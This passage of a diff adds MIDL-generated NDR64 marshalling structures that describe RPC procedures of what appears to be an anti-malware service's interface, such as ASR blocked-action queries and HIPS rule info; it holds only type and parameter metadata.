_NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1372 + } +}; + +static const __midl_frag1365_t __midl_frag1365 = +{ +/* **Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1366 +}; + +static const __midl_frag1364_t __midl_frag1364 = +{ +/* ***Struct_3220_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1365 +}; + +static const __midl_frag1358_t __midl_frag1358 = +{ +/* Proc144_ServerMpRpcGetAsrBlockedActions */ + { + /* Proc144_ServerMpRpcGetAsrBlockedActions */ /* procedure Proc144_ServerMpRpcGetAsrBlockedActions */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1364, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1354_t __midl_frag1354 = +{ +/* *Struct_3166_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1351 +}; + +static const __midl_frag1353_t __midl_frag1353 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1351_t __midl_frag1351 = +{ +/* Struct_3166_t */ + { + /* Struct_3166_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3166_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1353, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1350_t __midl_frag1350 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag1349_t __midl_frag1349 = +{ +/* **Struct_3166_t */ + { + /* **Struct_3166_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3166_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1350 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3166_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1351 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1354 + } +}; + +static const __midl_frag1348_t __midl_frag1348 = +{ +/* **Struct_3166_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1349 +}; + +static const __midl_frag1347_t __midl_frag1347 = +{ +/* ***Struct_3166_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1348 +}; + +static const __midl_frag1342_t __midl_frag1342 = +{ +/* Proc143_ServerMpRpcGetAsrBlockedProcesses */ + { + /* Proc143_ServerMpRpcGetAsrBlockedProcesses */ /* procedure Proc143_ServerMpRpcGetAsrBlockedProcesses */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1347, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1331_t __midl_frag1331 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1519 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1330_t __midl_frag1330 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1331 +}; + +static const __midl_frag1328_t __midl_frag1328 = +{ +/* Proc141_ServerMpXBGMUpdateIV */ + { + /* Proc141_ServerMpXBGMUpdateIV */ /* procedure Proc141_ServerMpXBGMUpdateIV */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1331, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1313_t __midl_frag1313 = +{ +/* Struct_3108_t */ + { + /* Struct_3108_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3108_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1312_t __midl_frag1312 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1311_t __midl_frag1311 = +{ +/* **Struct_3108_t */ + { + /* **Struct_3108_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3108_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1312 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2261 + } +}; + +static const __midl_frag1310_t __midl_frag1310 = +{ +/* **Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1311 +}; + +static const __midl_frag1309_t __midl_frag1309 = +{ +/* ***Struct_3108_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1310 +}; + +static const __midl_frag1306_t __midl_frag1306 = +{ +/* Proc138_ServerMpRpcGetHIPSRuleInfo */ + { + /* Proc138_ServerMpRpcGetHIPSRuleInfo */ /* procedure Proc138_ServerMpRpcGetHIPSRuleInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1309, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1298_t __midl_frag1298 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1297_t __midl_frag1297 = +{ +/* *Struct_16_t */ + { + /* *Struct_16_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag1298 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag36 + } +}; + +static const __midl_frag1296_t __midl_frag1296 = +{ +/* *Struct_16_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1297 +}; + +static const __midl_frag1295_t __midl_frag1295 = +{ +/* **Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1296 +}; + +static const __midl_frag1292_t __midl_frag1292 = +{ +/* Proc136_ServerMpQueryDefaultFolderGuardList */ + { + /* Proc136_ServerMpQueryDefaultFolderGuardList */ /* procedure Proc136_ServerMpQueryDefaultFolderGuardList */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1295, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1288_t __midl_frag1288 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 160 /* 0xa0 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ +}; + +static const __midl_frag1287_t __midl_frag1287 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1288 +}; + +static const __midl_frag1286_t __midl_frag1286 = +{ +/* *Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag36 +}; + +static const __midl_frag1283_t __midl_frag1283 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag1282_t __midl_frag1282 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1283 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const 